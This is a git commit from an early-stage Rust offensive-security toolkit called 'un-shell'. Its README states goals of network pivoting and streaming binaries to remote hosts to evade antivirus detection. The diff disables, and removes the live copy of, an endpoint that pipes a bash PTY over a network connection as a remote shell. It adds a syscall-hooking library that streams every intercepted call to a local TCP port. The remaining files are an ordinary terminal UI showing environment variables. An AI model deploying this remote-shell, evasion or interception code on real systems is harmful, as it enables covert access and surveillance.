Reformat, add syscall streaming

This commit is contained in:
Michael Mikovsky
2025-08-12 16:55:34 -06:00
parent 1ed6ff2d9a
commit 7bf1ef9419
49 changed files with 3606 additions and 105 deletions
+9
View File
@@ -0,0 +1,9 @@
# un-shell
### What is this?
- Currently, nothing. The idea behind this, is to unify many diffrent speratic cybersecurity tools and provide a simplistic way to access them.
### What should this do?
- For example, if you needed to pivot between computers, no need to mess with `iptables` or tor. You should simply just route traffic on the other end of a network.
- If you need to run NMAP on a remote server, you should be able to stream the binary over, while it is executing to limit AVs from detecting the binary on the disk.
- If you need to run a series of commands at a moment's notice, you should be able to do so in a flexible way.
- If you want to be pinged on your phone, the moment a server goes offline
+2
View File
@@ -4,10 +4,12 @@ version = "0.1.0"
edition = "2024"
[dependencies]
anyhow = "1.0.98"
bincode = "2.0.1"
clap = { version = "4.5.39", features = ["derive"] }
crossbeam-channel = "0.5.15"
lazy_static = "1.5.0"
log = "0.4.27"
portable-pty = "0.9.0"
pretty_env_logger = "0.5.0"
View File
View File
View File
+107
View File
@@ -0,0 +1,107 @@
use std::{net::SocketAddr, thread};
use portable_pty::{CommandBuilder, PtySize, native_pty_system};
use unshell_rs_lib::{
Error,
networkers::Connection,
nodes::{ConnectionConfig, NodeContainer},
};
pub fn run_endpoint(socket: SocketAddr) -> Result<(), Error> {
// let node = NodeContainer::connect(
// "Server".to_string(),
// vec![],
// vec![ConnectionConfig {
// socket,
// layers: vec![],
// }],
// )?;
// let mut stream = node.recv_stream()?;
// let pty_system = native_pty_system();
// let pty_pair = pty_system.openpty(PtySize {
// rows: 24,
// cols: 80,
// pixel_width: 0,
// pixel_height: 0,
// })?;
// let mut cmd = CommandBuilder::new("bash");
// cmd.env("TERM", "xterm-256color");
// // pty_pair.
// let mut child = pty_pair.slave.spawn_command(cmd)?;
// // Get the master PTY for reading/writing
// let master = pty_pair.master;
// let mut master_reader = master.try_clone_reader()?;
// let mut master_writer = master.take_writer()?;
// // Clone stream for bidirectional communication
// let mut stream_clone = stream.try_clone()?;
// let pty_to_tcp = thread::spawn(move || {
// let mut buffer = [0u8; 1024];
// loop {
// match master_reader.read_(&mut buffer) {
// Ok(0) => break, // EOF
// Ok(n) => {
// if stream.write(&buffer[..n]).is_err() {
// break;
// }
// }
// Err(e) => {
// error!("Error reading from PTY: {}", e);
// break;
// }
// }
// }
// println!("stopped!");
// });
// let tcp_to_pty = thread::spawn(move || {
// loop {
// let data = stream_clone.read().unwrap();
// if master_writer.write(&data).is_err() {
// break;
// }
// }
// println!("stopped!");
// });
// child.wait()?;
// child.kill()?;
// error!("Proc ended!");
// // Wait for either thread to finish
// let _ = pty_to_tcp.join();
// let _ = tcp_to_pty.join();
// // Clean up the child process
// // let _ = child.kill();
// // let _ = child.wait();
// Ok(())
// // loop {
// // let data = stream.read()?;
// // println!("DATA: {:?}", data);
// // let (src, packet) = node()?;
// // match packet {
// // C2Packet::Ping => {
// // info!("Ping from {}!", src);
// // // node.send_unrouted(&src, &C2Packet::Pong)?;
// // // (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
// // }
// // C2Packet::Pong => {
// // info!("Pong!");
// // }
// // _ => {}
// // }
// // }
Ok(())
}
View File
View File
-105
View File
@@ -1,105 +0,0 @@
use std::{net::SocketAddr, thread};
use portable_pty::{CommandBuilder, PtySize, native_pty_system};
use unshell_rs_lib::{
Error,
networkers::Connection,
nodes::{ConnectionConfig, NodeContainer},
};
pub fn run_endpoint(socket: SocketAddr) -> Result<(), Error> {
let node = NodeContainer::connect(
"Server".to_string(),
vec![],
vec![ConnectionConfig {
socket,
layers: vec![],
}],
)?;
let mut stream = node.recv_stream()?;
let pty_system = native_pty_system();
let pty_pair = pty_system.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})?;
let mut cmd = CommandBuilder::new("bash");
cmd.env("TERM", "xterm-256color");
// pty_pair.
let child = pty_pair.slave.spawn_command(cmd)?;
// Get the master PTY for reading/writing
let master = pty_pair.master;
let mut master_reader = master.try_clone_reader()?;
let mut master_writer = master.take_writer()?;
// Clone stream for bidirectional communication
let mut stream_clone = stream.try_clone()?;
// Thread to read from PTY and write to TCP stream
let pty_to_tcp = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
match master_reader.read(&mut buffer) {
Ok(0) => break, // EOF
Ok(n) => {
if stream.write(&buffer[..n]).is_err() {
break;
}
// stream.flush().ok();
}
Err(e) => {
error!("Error reading from PTY: {}", e);
break;
}
}
}
println!("stopped!");
});
// Thread to read from TCP stream and write to PTY
let tcp_to_pty = thread::spawn(move || {
// let mut buffer = [0u8; 1024];
loop {
let data = stream_clone.read().unwrap();
if master_writer.write(&data).is_err() {
break;
}
}
println!("stopped!");
});
// Wait for either thread to finish
let _ = pty_to_tcp.join();
let _ = tcp_to_pty.join();
// Clean up the child process
// let _ = child.kill();
// let _ = child.wait();
Ok(())
// loop {
// let data = stream.read()?;
// println!("DATA: {:?}", data);
// let (src, packet) = node()?;
// match packet {
// C2Packet::Ping => {
// info!("Ping from {}!", src);
// // node.send_unrouted(&src, &C2Packet::Pong)?;
// // (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
// }
// C2Packet::Pong => {
// info!("Pong!");
// }
// _ => {}
// }
// }
}
+16
View File
@@ -0,0 +1,16 @@
[package]
name = "sysintercept"
version = "0.1.0"
edition = "2024"
[dependencies]
bincode = "2.0.1"
ctor = "0.5.0"
lazy_static = "1.5.0"
libc = "0.2.175"
serde_json = "1.0.142"
syscall-intercept = { path = "syscall-intercept-rs" }
[lib]
name = "intercept"
crate-type = ["rlib", "cdylib"]
+112
View File
@@ -0,0 +1,112 @@
mod syscalls;
use lazy_static::lazy_static;
use libc::exit;
use std::{
cell::{Cell, RefCell},
io::{BufWriter, Write},
net::TcpStream,
sync::Mutex,
};
use syscall_intercept::*;
static mut CLIENT: Option<Mutex<BufWriter<TcpStream>>> = None;
#[ctor::ctor]
fn start() {
unsafe {
CLIENT = Some({
match TcpStream::connect("127.0.0.1:1234") {
Ok(stream) => {
let writer = BufWriter::new(stream);
Mutex::new(writer)
}
Err(e) => {
eprintln!("Failed to connect to server: {}", e);
exit(1);
}
}
});
}
unsafe { set_hook_fn(hook) };
}
// fn print_direct(str: &str)
thread_local! {
/// A flag indicating whether the current thread is in an intercept context.
static INTERCEPTED: Cell<bool> = Cell::new(false);
}
// lazy_static! {
// }
struct InterceptGuard;
impl InterceptGuard {
fn try_lock() -> Option<Self> {
INTERCEPTED.with(|x| {
if x.get() {
None
} else {
x.set(true);
Some(InterceptGuard)
}
})
}
}
impl Drop for InterceptGuard {
fn drop(&mut self) {
INTERCEPTED.with(|x| x.set(false));
}
}
extern "C" fn hook(
syscall_num: isize,
arg0: isize,
arg1: isize,
arg2: isize,
arg3: isize,
arg4: isize,
arg5: isize,
result: &mut isize,
) -> InterceptResult {
// detect and avoid recursive interception
let _guard = match InterceptGuard::try_lock() {
Some(g) => g,
None => return InterceptResult::Forward,
};
// unsafe {
// unset_hook_fn();
// }
// Return if is print
// if syscall_num == libc::SYS_write as _ && arg0 == 1 {
// return InterceptResult::Forward;
// }
let args = [arg0, arg1, arg2, arg3, arg4, arg5];
let desc = syscalls::get_syscall_desc(syscall_num, args);
unsafe {
#[allow(static_mut_refs)]
if let Some(client) = CLIENT.as_ref() {
client
.lock()
.unwrap()
.write_all(&format!("Data: {:?}\n", desc).as_bytes())
.unwrap();
client.lock().unwrap().flush().unwrap();
}
}
// unsafe {
// set_hook_fn(hook);
// }
InterceptResult::Forward
}
File diff suppressed because it is too large Load Diff
+10
View File
@@ -0,0 +1,10 @@
[package]
name = "tui-tool"
version = "0.1.0"
edition = "2024"
[dependencies]
color-eyre = "0.6.5"
crossterm = "0.29.0"
ratatui = "0.29.0"
strum = { version = "0.27.2", features = ["derive"] }
+86
View File
@@ -0,0 +1,86 @@
use color_eyre::Result;
use ratatui::{
DefaultTerminal, Frame,
buffer::Buffer,
crossterm::event::{self, Event, KeyCode, KeyEventKind},
layout::{Constraint, Layout, Rect},
style::{Color, Stylize, palette::tailwind},
symbols,
text::Line,
widgets::{Block, Padding, Paragraph, Tabs, Widget},
};
use strum::IntoEnumIterator;
use crate::tabs::{Tab, TabController};
#[derive(Default)]
pub struct App {
state: AppState,
tab_controller: TabController,
}
#[derive(Default, Clone, Copy, PartialEq, Eq)]
enum AppState {
#[default]
Running,
Quitting,
}
impl App {
pub fn run(mut self, mut terminal: DefaultTerminal) -> Result<()> {
while self.state == AppState::Running {
terminal.draw(|frame| self.render(frame))?;
self.handle_events()?;
}
Ok(())
}
fn handle_events(&mut self) -> std::io::Result<()> {
if let Event::Key(key) = event::read()? {
if key.kind == KeyEventKind::Press {
if !self.tab_controller.key(key.code) {
match key.code {
KeyCode::Char('l') | KeyCode::Right => self.tab_controller.next(),
KeyCode::Char('h') | KeyCode::Left => self.tab_controller.previous(),
KeyCode::Char('q') | KeyCode::Esc => self.quit(),
_ => {}
}
}
}
}
Ok(())
}
pub fn quit(&mut self) {
self.state = AppState::Quitting;
}
}
impl App {
fn render(&mut self, frame: &mut Frame) {
let area = frame.area();
use Constraint::{Length, Min};
let vertical = Layout::vertical([Length(1), Min(0), Length(1)]);
let [header_area, inner_area, footer_area] = vertical.areas(area);
let horizontal = Layout::horizontal([Min(0), Length(20)]);
let [tabs_area, title_area] = horizontal.areas(header_area);
render_title(title_area, frame);
self.tab_controller.render_tab_titles(tabs_area, frame);
self.tab_controller.render(inner_area, frame);
render_footer(footer_area, frame);
}
}
fn render_title(area: Rect, frame: &mut Frame) {
frame.render_widget("Ratatui Tabs Example".bold(), area);
}
fn render_footer(area: Rect, frame: &mut Frame) {
frame.render_widget(
Line::raw("◄ ► to change tab | Press q to quit").centered(),
area,
);
}
+12
View File
@@ -0,0 +1,12 @@
mod app;
mod tabs;
use color_eyre::Result;
fn main() -> Result<()> {
color_eyre::install()?;
let terminal = ratatui::init();
let app_result = app::App::default().run(terminal);
ratatui::restore();
app_result
}
+244
View File
@@ -0,0 +1,244 @@
use ratatui::{
Frame,
crossterm::event::KeyCode,
layout::{Constraint, Layout, Margin, Rect},
style::{Modifier, Style, palette::tailwind},
text::Text,
widgets::{
Block, BorderType, Cell, HighlightSpacing, Paragraph, Row, Scrollbar, ScrollbarOrientation,
ScrollbarState, Table, TableState,
},
};
pub const fn color() -> tailwind::Palette {
tailwind::BLUE
}
#[derive(Clone)]
struct EnvVar {
name: String,
data: String,
// email: String,
}
impl EnvVar {
const fn ref_array(&self) -> [&String; 2] {
[&self.name, &self.data]
}
}
#[derive(Clone)]
pub struct State {
state: TableState,
items: Vec<EnvVar>,
longest_item_name: u16,
scroll_state: ScrollbarState,
color_index: usize,
}
// const ITEM_HEIGHT: usize = 2;
impl State {
pub fn render(&mut self, area: Rect, frame: &mut Frame) {
let vertical = &Layout::vertical([Constraint::Min(5), Constraint::Length(4)]);
let rects = vertical.split(area);
// self.set_colors();
self.render_table(frame, rects[0]);
self.render_scrollbar(frame, rects[0]);
// self.render_footer(frame, rects[1]);
}
fn render_table(&mut self, frame: &mut Frame, area: Rect) {
// let header_style = Style::default()
// .fg(tailwind::SLATE.c200)
// .bg(tailwind::SLATE.c900);
// let selected_row_style = Style::default()
// .add_modifier(Modifier::REVERSED)
// .fg(tailwind::SLATE.c400);
// let selected_col_style = Style::default().fg(tailwind::SLATE.c400);
// let selected_cell_style = Style::default()
// .add_modifier(Modifier::REVERSED)
// .fg(tailwind::SLATE.c600);
let header = ["Name", "Address", "Email"]
.into_iter()
.map(Cell::from)
.collect::<Row>()
// .style(header_style)
.height(1);
let rows = self.items.iter().enumerate().map(|(i, data)| {
let color = match i % 2 {
0 => tailwind::SLATE.c950,
_ => tailwind::SLATE.c900,
};
let item = data.ref_array();
item.into_iter()
.map(|content| Cell::from(Text::from(format!("{content}"))))
.collect::<Row>()
.style(Style::new().fg(tailwind::SLATE.c200).bg(color))
// .height(ITEM_HEIGHT as u16)
});
let t = Table::new(
rows,
[
Constraint::Length(self.longest_item_name),
Constraint::Min(10),
],
)
.header(header)
.highlight_symbol(Text::from(""))
.highlight_spacing(HighlightSpacing::Always);
// .set_w
frame.render_stateful_widget(t, area, &mut self.state);
}
fn render_scrollbar(&mut self, frame: &mut Frame, area: Rect) {
frame.render_stateful_widget(
Scrollbar::default()
.orientation(ScrollbarOrientation::VerticalRight)
.begin_symbol(None)
.end_symbol(None),
area,
&mut self.scroll_state,
);
}
// fn render_footer(&self, frame: &mut Frame, area: Rect) {
// let info_footer = Paragraph::new(Text::from_iter(INFO_TEXT))
// // .style(
// // Style::new()
// // .fg(self.colors.row_fg)
// // .bg(self.colors.buffer_bg),
// // )
// .centered()
// .block(
// Block::bordered()
// .border_type(BorderType::Double)
// .border_style(Style::new().fg(self.colors.footer_border_color)),
// );
// frame.render_widget(info_footer, area);
// }
pub fn key(&mut self, keycode: KeyCode) -> bool {
match keycode {
KeyCode::Char('j') | KeyCode::Down => {
self.next_row();
false
}
KeyCode::Char('k') | KeyCode::Up => {
self.previous_row();
false
}
// KeyCode::Char('l') | KeyCode::Right if shift_pressed => self.next_color(),
// KeyCode::Char('h') | KeyCode::Left if shift_pressed => {
// self.previous_color();
// }
// KeyCode::Char('l') | KeyCode::Right => {
// self.next_column();
// true
// }
// KeyCode::Char('h') | KeyCode::Left => {
// self.previous_column();
// true
// }
_ => false,
}
}
}
impl State {
pub fn next_row(&mut self) {
let i = match self.state.selected() {
Some(i) => {
if i >= self.items.len() - 1 {
0
} else {
i + 1
}
}
None => 0,
};
self.state.select(Some(i));
self.scroll_state = self.scroll_state.position(i);
}
pub fn previous_row(&mut self) {
let i = match self.state.selected() {
Some(i) => {
if i == 0 {
self.items.len() - 1
} else {
i - 1
}
}
None => 0,
};
self.state.select(Some(i));
self.scroll_state = self.scroll_state.position(i);
}
pub fn next_column(&mut self) {
self.state.select_next_column();
}
pub fn previous_column(&mut self) {
self.state.select_previous_column();
}
// pub fn next_color(&mut self) {
// self.color_index = (self.color_index + 1) % PALETTES.len();
// }
// pub fn previous_color(&mut self) {
// let count = PALETTES.len();
// self.color_index = (self.color_index + count - 1) % count;
// }
// pub fn set_colors(&mut self) {
// self.colors = TableColors::new(&PALETTES[self.color_index]);
// }
}
impl Default for State {
fn default() -> Self {
let data_vec: Vec<EnvVar> = std::env::vars()
.map(|(k, v)| EnvVar { name: k, data: v })
.collect();
Self {
state: TableState::default().with_selected(0),
longest_item_name: data_vec.iter().map(|var| var.name.len()).max().unwrap_or(0) as u16,
scroll_state: ScrollbarState::new((data_vec.len() - 1)),
// colors: TableColors::new(&PALETTES[0]),
color_index: 0,
items: data_vec,
}
}
}
// fn constraint_len_calculator(items: &[Data]) -> (u16, u16, u16) {
// let name_len = items
// .iter()
// .map(Data::name)
// .map(UnicodeWidthStr::width)
// .max()
// .unwrap_or(0);
// let address_len = items
// .iter()
// .map(Data::address)
// .flat_map(str::lines)
// .map(UnicodeWidthStr::width)
// .max()
// .unwrap_or(0);
// let email_len = items
// .iter()
// .map(Data::email)
// .map(UnicodeWidthStr::width)
// .max()
// .unwrap_or(0);
// #[allow(clippy::cast_possible_truncation)]
// (name_len as u16, address_len as u16, email_len as u16)
// }
+134
View File
@@ -0,0 +1,134 @@
mod env_vars;
mod tab1;
mod tab2;
mod tab3;
use ratatui::{
Frame,
crossterm::event::KeyCode,
layout::Rect,
style::{Color, Stylize, palette::tailwind},
symbols,
text::Line,
widgets::{Block, Borders, Padding, Tabs},
};
use strum::{Display, EnumIter, FromRepr, IntoEnumIterator};
pub struct TabController {
current_index: usize,
tabs: Vec<Tab>,
}
impl Default for TabController {
fn default() -> Self {
Self {
current_index: 0,
tabs: vec![Tab::Env(env_vars::State::default()), Tab::Tab2, Tab::Tab3],
}
}
}
impl TabController {
pub fn previous(&mut self) {
if self.current_index > 0 {
self.current_index -= 1;
}
}
pub fn next(&mut self) {
if self.current_index < self.tabs.len() - 1 {
self.current_index += 1;
}
}
fn tab(&mut self) -> &mut Tab {
&mut self.tabs[self.current_index]
}
pub fn render_tab_titles(&mut self, area: Rect, frame: &mut Frame) {
let titles = Tab::iter().map(Tab::title);
let highlight_style = (Color::default(), self.tab().color().c700);
frame.render_widget(
Tabs::new(titles)
.highlight_style(highlight_style)
.select(self.current_index)
.padding("", "")
.divider(" "),
area,
);
}
pub fn render(&mut self, area: Rect, frame: &mut Frame) {
self.tab().render(area, frame)
}
pub fn key(&mut self, keycode: KeyCode) -> bool {
self.tab().key(keycode)
}
}
#[derive(Clone, Display, FromRepr, EnumIter)]
pub enum Tab {
#[strum(to_string = "Env")]
Env(env_vars::State),
#[strum(to_string = "Tab 2")]
Tab2,
#[strum(to_string = "Tab 3")]
Tab3,
}
impl Default for Tab {
fn default() -> Self {
return Self::Env(env_vars::State::default());
}
}
impl Tab {
/// Return tab's name as a styled `Line`
pub fn title(self) -> Line<'static> {
format!(" {self} ")
.fg(tailwind::SLATE.c200)
.bg(self.color().c900)
.into()
}
/// A block surrounding the tab's content
fn block(&self) -> Block<'static> {
Block::bordered()
.border_set(symbols::border::PROPORTIONAL_TALL)
.padding(Padding::horizontal(1))
.border_style(self.color().c700)
.borders(Borders::TOP)
}
pub const fn color(&self) -> tailwind::Palette {
match self {
Self::Env(_) => env_vars::color(),
Self::Tab2 => tab2::color(),
Self::Tab3 => tab3::color(),
// _ => tab3::color(),
}
}
pub fn render(&mut self, area: Rect, frame: &mut Frame) {
let block = self.block();
let inner_area = block.inner(area);
frame.render_widget(block, area);
match self {
Self::Env(state) => state.render(inner_area, frame),
Self::Tab2 => tab2::render(inner_area, frame),
Self::Tab3 => tab3::render(inner_area, frame),
// _ => tab3::render(inner_area, frame),
}
}
pub fn key(&mut self, keycode: KeyCode) -> bool {
match self {
Self::Env(state) => state.key(keycode),
_ => false,
}
}
}
+9
View File
@@ -0,0 +1,9 @@
use ratatui::{Frame, layout::Rect, style::palette::tailwind, widgets::Paragraph};
pub const fn color() -> tailwind::Palette {
tailwind::BLUE
}
pub fn render(area: Rect, frame: &mut Frame) {
frame.render_widget(Paragraph::new("Hello, World!"), area);
}
+9
View File
@@ -0,0 +1,9 @@
use ratatui::{Frame, layout::Rect, style::palette::tailwind, widgets::Paragraph};
pub const fn color() -> tailwind::Palette {
tailwind::EMERALD
}
pub fn render(area: Rect, frame: &mut Frame) {
frame.render_widget(Paragraph::new("Hello, World!"), area);
}
+9
View File
@@ -0,0 +1,9 @@
use ratatui::{Frame, layout::Rect, style::palette::tailwind, widgets::Paragraph};
pub const fn color() -> tailwind::Palette {
tailwind::INDIGO
}
pub fn render(area: Rect, frame: &mut Frame) {
frame.render_widget(Paragraph::new("Hello, World!"), area);
}